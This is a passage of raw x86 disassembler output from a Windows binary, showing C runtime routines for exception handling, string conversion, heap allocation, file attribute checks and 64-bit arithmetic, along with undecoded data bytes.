dec esi
lea eax, [esi+esi*4]
lea eax, [ebx+eax*4]
cmp [eax+4], ecx
jge short loc_42016D
cmp ecx, [eax+8]
jle short loc_420172
loc_42016D: ; CODE XREF: sub_420131+35j
cmp esi, 0FFFFFFFFh
jnz short loc_42017E
loc_420172: ; CODE XREF: sub_420131+3Aj
mov eax, [ebp+arg_0]
dec [ebp+arg_4]
mov [ebp+var_4], eax
mov [ebp+arg_0], esi
loc_42017E: ; CODE XREF: sub_420131+3Fj
cmp [ebp+arg_4], 0
jge short loc_42014F
mov eax, [ebp+var_4]
loc_420187: ; CODE XREF: sub_420131+1Cj
mov ecx, [ebp+arg_C]
inc esi
mov [ecx], esi
mov ecx, [ebp+arg_10]
mov [ecx], eax
cmp eax, [edi+0Ch]
ja short loc_42019B
cmp esi, eax
jbe short loc_4201A0
loc_42019B: ; CODE XREF: sub_420131+64j
call sub_4254E2
loc_4201A0: ; CODE XREF: sub_420131+68j
pop edi
lea eax, [esi+esi*4]
pop esi
lea eax, [ebx+eax*4]
pop ebx
leave
retn
sub_420131 endp
; =============== S U B R O U T I N E =======================================
sub_4201AB proc near ; CODE XREF: sub_424DD8+28p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov ecx, [esp+arg_4]
mov [eax], ecx
mov ecx, ds:dword_4E2950
mov [eax+4], ecx
mov ds:dword_4E2950, eax
retn
sub_4201AB endp
; =============== S U B R O U T I N E =======================================
sub_4201C4 proc near ; CODE XREF: sub_424F1C+4Dp
arg_0 = dword ptr 4
mov eax, ds:dword_4E2950
jmp short loc_4201D6
; ---------------------------------------------------------------------------
loc_4201CB: ; CODE XREF: sub_4201C4+14j
mov ecx, [eax]
cmp ecx, [esp+arg_0]
jz short loc_4201DC
mov eax, [eax+4]
loc_4201D6: ; CODE XREF: sub_4201C4+5j
test eax, eax
jnz short loc_4201CB
inc eax
retn
; ---------------------------------------------------------------------------
loc_4201DC: ; CODE XREF: sub_4201C4+Dj
xor eax, eax
retn
sub_4201C4 endp
; =============== S U B R O U T I N E =======================================
sub_4201DF proc near ; CODE XREF: sub_424F1C+9p
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, ds:dword_4E2950
cmp edx, eax
jnz short loc_4201F5
mov eax, [edx+4]
mov ds:dword_4E2950, eax
retn
; ---------------------------------------------------------------------------
loc_4201F5: ; CODE XREF: sub_4201DF+Bj
mov ecx, eax
add eax, 4
jmp short loc_420207
; ---------------------------------------------------------------------------
loc_4201FC: ; CODE XREF: sub_4201DF+2Bj
mov eax, [eax]
cmp edx, eax
jz short loc_420211
mov ecx, eax
lea eax, [ecx+4]
loc_420207: ; CODE XREF: sub_4201DF+1Bj
cmp dword ptr [eax], 0
jnz short loc_4201FC
jmp sub_4254E2
; ---------------------------------------------------------------------------
loc_420211: ; CODE XREF: sub_4201DF+21j
mov eax, [edx+4]
mov [ecx+4], eax
retn
sub_4201DF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420218 proc near ; CODE XREF: sub_424DD8+66p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 18h
mov eax, ds:dword_4437D4
and [ebp+var_18], 0
mov ecx, [ebp+arg_0]
mov [ebp+var_10], eax
mov eax, [ebp+arg_4]
mov [ebp+var_C], eax
mov eax, [ebp+arg_C]
inc eax
mov [ebp+var_14], offset byte_41FF7F
mov [ebp+var_8], ecx
mov [ebp+var_4], eax
mov eax, large fs:0
mov [ebp+var_18], eax
lea eax, [ebp+var_18]
mov large fs:0, eax
push [ebp+arg_10]
push ecx
push [ebp+arg_8]
call sub_425510
mov ecx, eax
mov eax, [ebp+var_18]
mov large fs:0, eax
mov eax, ecx
leave
retn
sub_420218 endp
; ---------------------------------------------------------------------------
db 3 dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420274 proc near ; CODE XREF: seg000:00425FD8p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push esi
push edi
push ebp
push 0
push 0
push offset loc_42028C
push [ebp+arg_0]
call sub_4298DC ; RtlUnwind
loc_42028C: ; DATA XREF: sub_420274+Bo
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_420274 endp
; ---------------------------------------------------------------------------
dword_420294 dd 4244C8Bh, 60441F7h, 0B8000000h, 1, 448B0F74h, 548B0824h
; DATA XREF: sub_4202B6+Ao
; sub_42031E+9o
dd 2891024h, 3B8h
db 0, 0C3h
; =============== S U B R O U T I N E =======================================
sub_4202B6 proc near ; CODE XREF: seg000:00425FE5p
; seg000:00426038p
var_14 = dword ptr -14h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov eax, [esp+0Ch+arg_0]
push eax
push 0FFFFFFFEh
push offset dword_420294
push large dword ptr fs:0
mov large fs:0, esp
loc_4202D3: ; CODE XREF: sub_4202B6:loc_42030Ej
mov eax, [esp+1Ch+arg_0]
mov ebx, [eax+8]
mov esi, [eax+0Ch]
cmp esi, 0FFFFFFFFh
jz short loc_420310
cmp esi, [esp+1Ch+arg_4]
jz short loc_420310
lea esi, [esi+esi*2]
mov ecx, [ebx+esi*4]
mov [esp+1Ch+var_14], ecx
mov [eax+0Ch], ecx
cmp dword ptr [ebx+esi*4+4], 0
jnz short loc_42030E
push 101h
mov eax, [ebx+esi*4+8]
call sub_42034A
call dword ptr [ebx+esi*4+8]
loc_42030E: ; CODE XREF: sub_4202B6+44j
jmp short loc_4202D3
; ---------------------------------------------------------------------------
loc_420310: ; CODE XREF: sub_4202B6+2Aj
; sub_4202B6+30j
pop large dword ptr fs:0
add esp, 0Ch
pop edi
pop esi
pop ebx
retn
sub_4202B6 endp
; =============== S U B R O U T I N E =======================================
sub_42031E proc near ; CODE XREF: sub_424F1C+57p
xor eax, eax
mov ecx, large fs:0
cmp dword ptr [ecx+4], offset dword_420294
jnz short locret_420340
mov edx, [ecx+0Ch]
mov edx, [edx+0Ch]
cmp [ecx+8], edx
jnz short locret_420340
mov eax, 1
locret_420340: ; CODE XREF: sub_42031E+10j
; sub_42031E+1Bj
retn
sub_42031E endp
; =============== S U B R O U T I N E =======================================
sub_420341 proc near ; CODE XREF: sub_425510+1Ep
; sub_425510+40p
push ebx
push ecx
mov ebx, offset dword_443794
jmp short loc_420354
sub_420341 endp
; =============== S U B R O U T I N E =======================================
sub_42034A proc near ; CODE XREF: sub_4202B6+4Fp
; seg000:00425FF6p
push ebx
push ecx
mov ebx, offset dword_443794
mov ecx, [ebp+8]
loc_420354: ; CODE XREF: sub_420341+7j
mov [ebx+8], ecx
mov [ebx+4], eax
mov [ebx+0Ch], ebp
pop ecx
pop ebx
retn 4
sub_42034A endp
; ---------------------------------------------------------------------------
dw 0CCCCh
; =============== S U B R O U T I N E =======================================
sub_420364 proc near ; CODE XREF: sub_40F024+5p
; sub_40F47A+5p ...
push 0FFFFFFFFh
push eax
mov eax, large fs:0
push eax
mov eax, [esp+0Ch]
mov large fs:0, esp
mov [esp+0Ch], ebp
lea ebp, [esp+0Ch]
push eax
retn
sub_420364 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420383 proc near ; CODE XREF: sub_4297E3+3Ap
; sub_42987E+3Ap
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
push edi
push 8
pop ecx
mov esi, offset dword_439450
lea edi, [ebp+var_20]
rep movsd
mov [ebp+var_8], eax
mov eax, [ebp+arg_4]
mov [ebp+var_4], eax
lea eax, [ebp+var_C]
push eax
push [ebp+var_10]
push [ebp+var_1C]
push [ebp+var_20]
call ds:dword_42B1A0 ; RaiseException
pop edi
pop esi
leave
retn 8
sub_420383 endp
; ---------------------------------------------------------------------------
db 3 dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4203C0 proc near ; CODE XREF: sub_40F47A+82p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = qword ptr 4
cmp ds:dword_4E2B90, 0
jz sub_4255CA
sub esp, 8
stmxcsr [esp+8+var_4]
mov eax, [esp+8+var_4]
and eax, 1F80h
cmp eax, 1F80h
jnz short loc_4203F4
fnstcw word ptr [esp+8+var_8]
mov ax, word ptr [esp+8+var_8]
and ax, 7Fh
cmp ax, 7Fh
loc_4203F4: ; CODE XREF: sub_4203C0+23j
lea esp, [esp+8]
jnz sub_4255CA
jmp short $+2
movq xmm0, [esp+arg_0]
movapd xmm2, oword ptr ds:oword_439480
movapd xmm1, xmm0
movapd xmm7, xmm0
psrlq xmm0, 34h
movd eax, xmm0
andpd xmm0, oword ptr ds:oword_4394A0
psubd xmm2, xmm0
psrlq xmm1, xmm2
test eax, 800h
jz short loc_420482
cmp eax, 0BFFh
jl short loc_4204BA
psllq xmm1, xmm2
cmp eax, 0C32h
jg short loc_420453
movq [esp+arg_0], xmm1
fld [esp+arg_0]
retn
; ---------------------------------------------------------------------------
loc_420453: ; CODE XREF: sub_4203C0+86j
; sub_4203C0+E1j
ucomisd xmm7, xmm7
jnp short loc_42047D
mov edx, 3ECh
sub esp, 10h
mov [esp+10h+var_4], edx
mov edx, esp
add edx, 14h
mov [esp+10h+var_8], edx
mov [esp+10h+var_C], edx
mov [esp+10h+var_10], edx
call sub_424391
add esp, 10h
loc_42047D: ; CODE XREF: sub_4203C0+97j
fld [esp+arg_0]
retn
; ---------------------------------------------------------------------------
loc_420482: ; CODE XREF: sub_4203C0+74j
movq xmm0, [esp+arg_0]
psllq xmm1, xmm2
movapd xmm3, xmm0
cmppd xmm0, xmm1, 6
cmp eax, 3FFh
jl short loc_4204C1
cmp eax, 432h
jg short loc_420453
andpd xmm0, oword ptr ds:oword_439470
addsd xmm1, xmm0
movq [esp+arg_0], xmm1
fld [esp+arg_0]
retn
; ---------------------------------------------------------------------------
loc_4204BA: ; CODE XREF: sub_4203C0+7Bj
fld ds:dbl_4394B0
retn
; ---------------------------------------------------------------------------
loc_4204C1: ; CODE XREF: sub_4203C0+DAj
cmppd xmm3, oword ptr ds:oword_439490, 6
andpd xmm3, oword ptr ds:oword_439470
movq [esp+arg_0], xmm3
fld [esp+arg_0]
retn
sub_4203C0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4204DD proc near ; CODE XREF: sub_40F87A+77p
; seg000:00411084p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_0]
push esi
xor esi, esi
xor eax, eax
cmp ebx, esi
push edi
jz loc_4205AE
mov edx, [ebp+arg_8]
cmp edx, esi
jz loc_4205DF
cmp ds:dword_4E29A4, esi
jnz short loc_42052E
cmp edx, esi
jbe loc_4205DF
loc_42050D: ; CODE XREF: sub_4204DD+4Aj
mov ecx, [ebp+arg_4]
add ecx, eax
movzx si, byte ptr [ecx]
mov [ebx], si
cmp byte ptr [ecx], 0
jz loc_4205DF
inc eax
inc ebx
inc ebx
cmp eax, edx
jb short loc_42050D
jmp loc_4205DF
; ---------------------------------------------------------------------------
loc_42052E: ; CODE XREF: sub_4204DD+26j
mov edi, [ebp+arg_4]
mov esi, ds:dword_42B07C
push edx
push ebx
push 0FFFFFFFFh
push edi
push 9
push ds:dword_4E29B4
call esi ; MultiByteToWideChar
test eax, eax
jnz loc_4205DE
call ds:dword_42B01C ; RtlGetLastWin32Error
cmp eax, 7Ah
jz short loc_420568
loc_420559: ; CODE XREF: sub_4204DD+B0j
; sub_4204DD+CFj ...
mov ds:dword_4E28F4, 2Ah
or eax, 0FFFFFFFFh
jmp short loc_4205DF
; ---------------------------------------------------------------------------
loc_420568: ; CODE XREF: sub_4204DD+7Aj
mov eax, [ebp+arg_8]
mov [ebp+arg_0], eax
mov eax, edi
loc_420570: ; CODE XREF: sub_4204DD+B7j
mov cl, [eax]
dec [ebp+arg_0]
test cl, cl
jz short loc_420596
mov edx, ds:off_4437D8
movzx ecx, cl
test byte ptr [edx+ecx*2+1], 80h
jz short loc_42058F
inc eax
cmp byte ptr [eax], 0
jz short loc_420559
loc_42058F: ; CODE XREF: sub_4204DD+AAj
inc eax
cmp [ebp+arg_0], 0
jnz short loc_420570
loc_420596: ; CODE XREF: sub_4204DD+9Aj
push [ebp+arg_8]
sub eax, edi
push ebx
push eax
push edi
push 1
push ds:dword_4E29B4
call esi ; MultiByteToWideChar
test eax, eax
jnz short loc_4205DF
jmp short loc_420559
; ---------------------------------------------------------------------------
loc_4205AE: ; CODE XREF: sub_4204DD+Fj
cmp ds:dword_4E29A4, esi
jnz short loc_4205C1
push [ebp+arg_4]
call sub_41E1C0
pop ecx
jmp short loc_4205DF
; ---------------------------------------------------------------------------
loc_4205C1: ; CODE XREF: sub_4204DD+D7j
push esi
push esi
push 0FFFFFFFFh
push [ebp+arg_4]
push 9
push ds:dword_4E29B4
call ds:dword_42B07C ; MultiByteToWideChar
cmp eax, esi
jz loc_420559
loc_4205DE: ; CODE XREF: sub_4204DD+6Bj
dec eax
loc_4205DF: ; CODE XREF: sub_4204DD+1Aj
; sub_4204DD+2Aj ...
pop edi
pop esi
pop ebx
pop ebp
retn
sub_4204DD endp
; =============== S U B R O U T I N E =======================================
sub_4205E4 proc near ; CODE XREF: sub_40FA56+1Ep
; sub_40FA56+37p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
mov esi, [esp+8+arg_0]
imul esi, [esp+8+arg_4]
test esi, esi
push edi
mov ebx, esi
jnz short loc_4205F7
inc esi
loc_4205F7: ; CODE XREF: sub_4205E4+10j
; sub_4205E4+65j
xor edi, edi
cmp esi, 0FFFFFFE0h
ja short loc_420637
cmp ds:dword_4E2F00, 3
jnz short loc_420622
add esi, 0Fh
and esi, 0FFFFFFF0h
cmp ebx, ds:dword_4E2EEC
ja short loc_420622
push ebx
call sub_421967
mov edi, eax
test edi, edi
pop ecx
jnz short loc_42064D
loc_420622: ; CODE XREF: sub_4205E4+21j
; sub_4205E4+2Fj
push esi
push 8
push ds:dword_4E2EFC
call ds:dword_42B0E4 ; RtlAllocateHeap
mov edi, eax
test edi, edi
jnz short loc_420659
loc_420637: ; CODE XREF: sub_4205E4+18j
cmp ds:dword_4E2964, 0
jz short loc_420659
push esi
call sub_421F2F
test eax, eax
pop ecx
jnz short loc_4205F7
jmp short loc_42065B
; ---------------------------------------------------------------------------
loc_42064D: ; CODE XREF: sub_4205E4+3Cj
push ebx
push 0
push edi
call sub_41E5F0
add esp, 0Ch
loc_420659: ; CODE XREF: sub_4205E4+51j
; sub_4205E4+5Aj
mov eax, edi
loc_42065B: ; CODE XREF: sub_4205E4+67j
pop edi
pop esi
pop ebx
retn
sub_4205E4 endp
; =============== S U B R O U T I N E =======================================
sub_42065F proc near ; CODE XREF: sub_40FDC3+100p
; sub_419429+8p
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push [esp+arg_0]
call ds:dword_42B050 ; GetFileAttributesA
cmp eax, 0FFFFFFFFh
jnz short loc_42067F
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
call sub_422C0F
pop ecx
loc_42067B: ; CODE XREF: sub_42065F+3Fj
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_42067F: ; CODE XREF: sub_42065F+Dj
test al, 1
jz short loc_4206A0
test [esp+arg_4], 2
jz short loc_4206A0
mov ds:dword_4E28F4, 0Dh
mov ds:dword_4E28F8, 5
jmp short loc_42067B
; ---------------------------------------------------------------------------
loc_4206A0: ; CODE XREF: sub_42065F+22j
; sub_42065F+29j
xor eax, eax
retn
sub_42065F endp
; =============== S U B R O U T I N E =======================================
sub_4206A3 proc near ; CODE XREF: seg000:004111C1p
; seg000:004111E6p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
loc_4206A7: ; CODE XREF: sub_4206A3+Cj
mov cx, [eax]
inc eax
inc eax
test cx, cx
jnz short loc_4206A7
sub eax, [esp+arg_0]
sar eax, 1
dec eax
retn
sub_4206A3 endp
; ---------------------------------------------------------------------------
db 56h, 8Bh, 74h
dd 468B0824h, 5783A80Ch, 7C8B7174h, 0FF851424h, 0FF830A74h
dd 83057401h, 5F7502FFh, 83EFE083h, 468901FFh, 560D750Ch
dd 5040E8h, 24440100h, 0FF335914h, 8D1E856h, 468B0000h
dd 59C0840Ch, 0E0830879h, 0C4689FCh, 1A814EBh, 8A81074h
dd 0C4F60C74h, 0C7077504h, 2001846h, 0FF570000h, 0FF142474h
dd 76E81076h, 3300004Fh, 0CC483C9h, 0FFFF883h, 8B49C195h
dd 0C70DEBC1h, 4E28F405h, 1600h, 0FFC88300h, 0CCC35E5Fh
dd 2 dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
sub_420750 proc near ; CODE XREF: sub_415825+19Ap
; sub_4164A9+117p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, [esp+arg_4]
mov ecx, [esp+arg_C]
or ecx, eax
mov ecx, [esp+arg_8]
jnz short loc_420769
mov eax, [esp+arg_0]
mul ecx
retn 10h
; ---------------------------------------------------------------------------
loc_420769: ; CODE XREF: sub_420750+Ej
push ebx
mul ecx
mov ebx, eax
mov eax, [esp+4+arg_0]
mul [esp+4+arg_C]
add ebx, eax
mov eax, [esp+4+arg_0]
mul ecx
add edx, ebx
pop ebx
retn 10h
sub_420750 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+8]
push ebx
push edi
mov edi, [ebp+0Ch]
imul edi, [ebp+10h]
test edi, edi
mov [ebp+8], eax
mov [ebp-8], edi
mov ebx, edi
jnz short loc_4207A8
xor eax, eax
jmp loc_420873
; ---------------------------------------------------------------------------
loc_4207A8: ; CODE XREF: seg000:0042079Fj
push esi
mov esi, [ebp+14h]
test word ptr [esi+0Ch], 10Ch
jz short loc_4207BC
mov eax, [esi+18h]
mov [ebp-4], eax
jmp short loc_4207C3
; ---------------------------------------------------------------------------
loc_4207BC: ; CODE XREF: seg000:004207B2j
mov dword ptr [ebp-4], 1000h
loc_4207C3: ; CODE XREF: seg000:004207BAj
; seg000:00420869j
mov ecx, [esi+0Ch]
and ecx, 108h
jz short loc_4207F7
mov eax, [esi+4]
test eax, eax
jz short loc_4207F7
cmp ebx, eax
mov edi, ebx
jb short loc_4207DD
mov edi, eax
loc_4207DD: ; CODE XREF: seg000:004207D9j
push edi
push dword ptr [ebp+8]
push dword ptr [esi]
call sub_41F400
sub [esi+4], edi
add [esi], edi
add esp, 0Ch
sub ebx, edi
add [ebp+8], edi
jmp short loc_420839
; ---------------------------------------------------------------------------
loc_4207F7: ; CODE XREF: seg000:004207CCj
; seg000:004207D3j
cmp ebx, [ebp-4]
jb short loc_42083E
test ecx, ecx
jz short loc_42080B
push esi
call sub_420FC7
test eax, eax
pop ecx
jnz short loc_420877
loc_42080B: ; CODE XREF: seg000:004207FEj
cmp dword ptr [ebp-4], 0
mov edi, ebx
jz short loc_42081C
xor edx, edx
mov eax, ebx
div dword ptr [ebp-4]
sub edi, edx
loc_42081C: ; CODE XREF: seg000:00420811j
push edi
push dword ptr [ebp+8]
push dword ptr [esi+10h]
call sub_425882
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz short loc_420882
add [ebp+8], eax
sub ebx, eax
cmp eax, edi
jb short loc_420882
loc_420839: ; CODE XREF: seg000:004207F5j
mov edi, [ebp-8]
jmp short loc_420867
; ---------------------------------------------------------------------------
loc_42083E: ; CODE XREF: seg000:004207FAj
mov eax, [ebp+8]
movsx eax, byte ptr [eax]
push esi
push eax
call sub_422124
cmp eax, 0FFFFFFFFh
pop ecx
pop ecx
jz short loc_420877
inc dword ptr [ebp+8]
mov eax, [esi+18h]
dec ebx
test eax, eax
mov [ebp-4], eax
jg short loc_420867
mov dword ptr [ebp-4], 1
loc_420867: ; CODE XREF: seg000:0042083Cj
; seg000:0042085Ej
test ebx, ebx
jnz loc_4207C3
mov eax, [ebp+10h]
loc_420872: ; CODE XREF: seg000:00420880j
pop esi
loc_420873: ; CODE XREF: seg000:004207A3j
pop edi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_420877: ; CODE XREF: seg000:00420809j
; seg000:00420850j
mov eax, edi
loc_420879: ; CODE XREF: seg000:00420889j
sub eax, ebx
xor edx, edx
div dword ptr [ebp+0Ch]
jmp short loc_420872
; ---------------------------------------------------------------------------
loc_420882: ; CODE XREF: seg000:0042082Ej
; seg000:00420837j
or dword ptr [esi+0Ch], 20h
mov eax, [ebp-8]
jmp short loc_420879
; ---------------------------------------------------------------------------
db 0CCh
dd 0CCCCCCCCh
; =============== S U B R O U T I N E =======================================
sub_420890 proc near ; CODE XREF: sub_419443+2Cp
; sub_4222C8+654p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push esi
mov eax, [esp+4+arg_C]
or eax, eax
jnz short loc_4208C1
mov ecx, [esp+4+arg_8]
mov eax, [esp+4+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+4+arg_0]
div ecx
mov esi, eax
mov eax, ebx
mul [esp+4+arg_8]
mov ecx, eax
mov eax, esi
mul [esp+4+arg_8]
add edx, ecx
jmp short loc_420908
; ---------------------------------------------------------------------------
loc_4208C1: ; CODE XREF: sub_420890+7j
mov ecx, eax
mov ebx, [esp+4+arg_8]
mov edx, [esp+4+arg_4]
mov eax, [esp+4+arg_0]
loc_4208CF: ; CODE XREF: sub_420890+49j
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_4208CF
div ebx
mov esi, eax
mul [esp+4+arg_C]
mov ecx, eax
mov eax, [esp+4+arg_8]
mul esi
add edx, ecx
jb short loc_4208FD
cmp edx, [esp+4+arg_4]
ja short loc_4208FD
jb short loc_420906
cmp eax, [esp+4+arg_0]
jbe short loc_420906
loc_4208FD: ; CODE XREF: sub_420890+5Dj
; sub_420890+63j
dec esi
sub eax, [esp+4+arg_8]
sbb edx, [esp+4+arg_C]
loc_420906: ; CODE XREF: sub_420890+65j
; sub_420890+6Bj
xor ebx, ebx
loc_420908: ; CODE XREF: sub_420890+2Fj
sub eax, [esp+4+arg_0]
sbb edx, [esp+4+arg_4]
neg edx
neg eax
sbb edx, 0
mov ecx, edx
mov edx, ebx
mov ebx, ecx
mov ecx, eax
mov eax, esi
pop esi
retn 10h
sub_420890 endp
; ---------------------------------------------------------------------------
db 3 dup(0CCh)
dd 2 dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
sub_420930 proc near ; CODE XREF: sub_419549+5Fp
; sub_419549+90p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push edi
push esi
push ebx
xor edi, edi
mov eax, [esp+0Ch+arg_4]
or eax, eax
jge short loc_420951
inc edi
mov edx, [esp+0Ch+arg_0]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_4], eax
mov [esp+0Ch+arg_0], edx
loc_420951: ; CODE XREF: sub_420930+Bj
mov eax, [esp+0Ch+arg_C]
or eax, eax
jge short loc_42096D
inc edi
mov edx, [esp+0Ch+arg_8]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_C], eax
mov [esp+0Ch+arg_8], edx
loc_42096D: ; CODE XREF: sub_420930+27j
or eax, eax
jnz short loc_420989
mov ecx, [esp+0Ch+arg_8]
mov eax, [esp+0Ch+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+0Ch+arg_0]
div ecx
mov edx, ebx
jmp short loc_4209CA
; ---------------------------------------------------------------------------
loc_420989: ; CODE XREF: sub_420930+3Fj
mov ebx, eax
mov ecx, [esp+0Ch+arg_8]
mov edx, [esp+0Ch+arg_4]
mov eax, [esp+0Ch+arg_0]
loc_420997: ; CODE XREF: sub_420930+71j
shr ebx, 1
rcr ecx, 1
shr edx, 1
rcr eax, 1
or ebx, ebx
jnz short loc_420997
div ecx
mov esi, eax
mul [esp+0Ch+arg_C]
mov ecx, eax
mov eax, [esp+0Ch+arg_8]
mul esi
add edx, ecx
jb short loc_4209C5
cmp edx, [esp+0Ch+arg_4]
ja short loc_4209C5
jb short loc_4209C6
cmp eax, [esp+0Ch+arg_0]
jbe short loc_4209C6
loc_4209C5: ; CODE XREF: sub_420930+85j
; sub_420930+8Bj
dec esi
loc_4209C6: ; CODE XREF: sub_420930+8Dj
; sub_420930+93j
xor edx, edx
mov eax, esi
loc_4209CA: ; CODE XREF: sub_420930+57j
dec edi
jnz short loc_4209D4
neg edx
neg eax
sbb edx, 0
loc_4209D4: ; CODE XREF: sub_420930+9Bj
pop ebx
pop esi
pop edi
retn 10h
sub_420930 endp
; ---------------------------------------------------------------------------
dw 146Ah
aHFc db 'h¸”C',0
aS_u db 'è.U',0
align 2
a3IRbdN db '3ۉ]ࡤ)N',0
dword_4209F0 dd 2875C33Bh, 8B08458Bh, 0F1838D0h, 0CB84h, 800A8A00h
dd 0A7C61F9h, 7F7AF980h, 20E98005h, 38420A88h, 0E9EA751Ah
dd 0B0h, 35FF016Ah, 4E29B4h, 0FF6A5353h, 680875FFh, 200h
dd 511FE850h, 0C4830000h, 0E4458920h, 840FC33Bh, 85h, 83FC5D89h
dd 0E08303C0h, 0DFCEE8FCh, 6589FFFFh, 89F48BE8h, 10EBDC75h
dd 0C340C033h, 0E8E8658Bh, 500Ah, 0F633DB33h, 0FFFC4D83h
dd 1675F33Bh, 0E8E475FFh, 0FFFFDB57h, 0C7F08B59h, 1E045h
dd 0F33B0000h, 16A3374h, 29B435FFh, 75FF004Eh, 0FF6A56E4h
dd 680875FFh, 200h, 29A435FFh, 0AAE8004Eh, 83000050h, 0C08520C4h
dd 0FF560B74h, 5E80875h, 59FFFFE4h, 0E05D3959h, 0E8560774h
dd 0FFFFD7D9h, 8458B59h, 0E8D0658Dh, 547Bh
db 0C3h
; =============== S U B R O U T I N E =======================================
sub_420AD5 proc near ; CODE XREF: sub_41A293+1AFp
arg_0 = dword ptr 4
cmp ds:dword_4437B0, 1
jle short loc_420AEC
push 4
push [esp+4+arg_0]
call sub_422B91
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_420AEC: ; CODE XREF: sub_420AD5+7j
mov eax, [esp+arg_0]
mov ecx, ds:off_4437D8
movzx eax, byte ptr [ecx+eax*2]
and eax, 4
retn
sub_420AD5 endp
; =============== S U B R O U T I N E =======================================
sub_420AFE proc near ; CODE XREF: sub_423327+92p
; sub_423327+B6p ...
arg_0 = dword ptr 4
cmp ds:dword_4437B0, 1
jle short loc_420B15
push 8
push [esp+4+arg_0]
call sub_422B91
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_420B15: ; CODE XREF: sub_420AFE+7j
mov eax, [esp+arg_0]
mov ecx, ds:off_4437D8
movzx eax, byte ptr [ecx+eax*2]
and eax, 8
retn
sub_420AFE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420B27 proc near ; CODE XREF: sub_41ACB2+6p
; seg000:0041B3E7p ...
var_8 = byte ptr -8
var_7 = byte ptr -7
var_4 = byte ptr -4
var_3 = byte ptr -3
var_2 = byte ptr -2
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
cmp ds:dword_4E29A4, 0
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
jz loc_420BE8
cmp ds:dword_443A84, 0
jz short loc_420B51
cmp ebx, 7Fh
jbe loc_420BE8
loc_420B51: ; CODE XREF: sub_420B27+1Fj
xor esi, esi
mov edi, 100h
inc esi
cmp ebx, edi
jnb short loc_420B7F
cmp ds:dword_4437B0, esi
jle short loc_420B70
push esi
push ebx
call sub_422B91
pop ecx
pop ecx
jmp short loc_420B7B
; ---------------------------------------------------------------------------
loc_420B70: ; CODE XREF: sub_420B27+3Cj
mov eax, ds:off_4437D8
movzx eax, byte ptr [eax+ebx*2]
and eax, esi
loc_420B7B: ; CODE XREF: sub_420B27+47j
test eax, eax
jz short loc_420BF5
loc_420B7F: ; CODE XREF: sub_420B27+34j
mov edx, ds:off_4437D8
mov eax, ebx
sar eax, 8
movzx ecx, al
test byte ptr [edx+ecx*2+1], 80h
jz short loc_420BA3
push 2
mov [ebp+var_4], al
mov [ebp+var_3], bl
mov [ebp+var_2], 0
pop eax
jmp short loc_420BAC
; ---------------------------------------------------------------------------
loc_420BA3: ; CODE XREF: sub_420B27+6Bj
mov [ebp+var_4], bl
mov [ebp+var_3], 0
mov eax, esi
loc_420BAC: ; CODE XREF: sub_420B27+7Aj
push esi
push ds:dword_4E29B4
lea ecx, [ebp+var_8]
push 3
push ecx
push eax
lea eax, [ebp+var_4]
push eax
push edi
push ds:dword_4E29A4
call sub_425B55
add esp, 20h
test eax, eax
jz short loc_420BF5
cmp eax, esi
jnz short loc_420BDB
movzx eax, [ebp+var_8]
jmp short loc_420BF7
; ---------------------------------------------------------------------------
loc_420BDB: ; CODE XREF: sub_420B27+ACj
movzx ecx, [ebp+var_7]
xor eax, eax
